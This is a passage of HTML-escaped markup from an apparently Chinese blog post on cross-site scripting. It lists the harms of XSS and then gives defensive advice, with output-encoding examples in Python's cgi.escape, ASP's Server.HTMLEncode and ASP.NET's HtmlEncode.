padding-left: 0px; text-decoration: none; color: #0066aa; border-bottom-width: 0px; border-bottom-style: initial; border-bottom-color: initial; "&gt;5&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;危害&lt;/strong&gt;&lt;/p&gt;&lt;ol type="1" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 2em; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; "&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;盗窃企业重要的具有商业价值的资料&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;非法转账&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;强制发送电子邮件&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;网站挂马&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;控制受害者机器向其它网站发起攻击&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;防范&lt;/strong&gt;&lt;/p&gt;&lt;ol type="1" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 2em; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: 微软雅黑, verdana, Arial, sans-serif; line-height: 25px; background-color: #ffffff; "&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;必须明确：一切输入都是有害的，不要信任一切输入的数据。&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;缓和XSS问题的首要法则是确定哪个输入是有效的，并且拒绝所有别的无效输入。&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; line-height: 28px; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;&lt;p&gt;替换危险字符，如："&amp;amp;", "&amp;lt;", "&amp;gt;", """，"'", "/", "?"，";", ":", "%", "&amp;lt;SPACE&amp;gt;", "=", "+"。各种语言替换的程度不尽相同，但是基本上能抵御住一般的XSS攻击。&lt;/p&gt;&lt;ol type="a" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 2em; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;&lt;p&gt;&lt;tt style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;python&lt;/tt&gt;的cgi.escape函数：&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;/p&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;def&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #ff0086; font-weight: bold; "&gt;escape&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;s&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;quote&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;None&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;):&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;'''Replace special characters "&amp;amp;", "&amp;lt;" and "&amp;gt;" to HTML-safe sequences.&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; If the optional flag quote is true, the quotation mark character (")&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; is also translated.'''&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;s&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;s&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;replace&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"&amp;amp;"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"&amp;amp;amp;"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;)&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #008800; font-style: italic; background-color: #0f140f; "&gt;# Must be done first!&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;s&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;s&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;replace&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"&amp;lt;"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"&amp;amp;lt;"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;)&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;s&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;s&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;replace&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"&amp;gt;"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"&amp;amp;gt;"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;)&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;if&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;quote&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;:&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;s&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;s&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;replace&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;'"'&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;,&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"&amp;amp;quot;"&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;)&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;s&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;&lt;p&gt;&lt;tt style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;ASP&lt;/tt&gt;中的Server.HTMLEncode：&lt;/p&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&amp;lt;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;%= Server.HTMLEncode("The paragraph tag:&amp;nbsp;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #fb660a; font-weight: bold; "&gt;&amp;lt;P&amp;gt;&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;") %&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 20px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 20px; list-style-type: none; list-style-position: initial; list-style-image: initial; background-image: url(file:///c:/images/cnblogs_com/coderzh/bug_green.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; background-position: 0px 5px; background-repeat: no-repeat no-repeat; "&gt;&lt;p&gt;&lt;tt style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;ASP.NET&lt;/tt&gt;的Server.HtmlEncode及Server.UrlEncode：&lt;/p&gt;&lt;div dir="ltr" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;&lt;div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 4px; padding-right: 5px; padding-bottom: 4px; padding-left: 14px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; background-color: #333333; color: #ffffff; "&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;String&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;TestString&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #0086d2; "&gt;"This is a &amp;lt;Test String&amp;gt;."&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;;&lt;/span&gt;&lt;br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " /&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;String&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;EncodedString&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;Server&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;.&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;HtmlEncode&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "&gt;(&lt;/span&gt;&lt;span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; 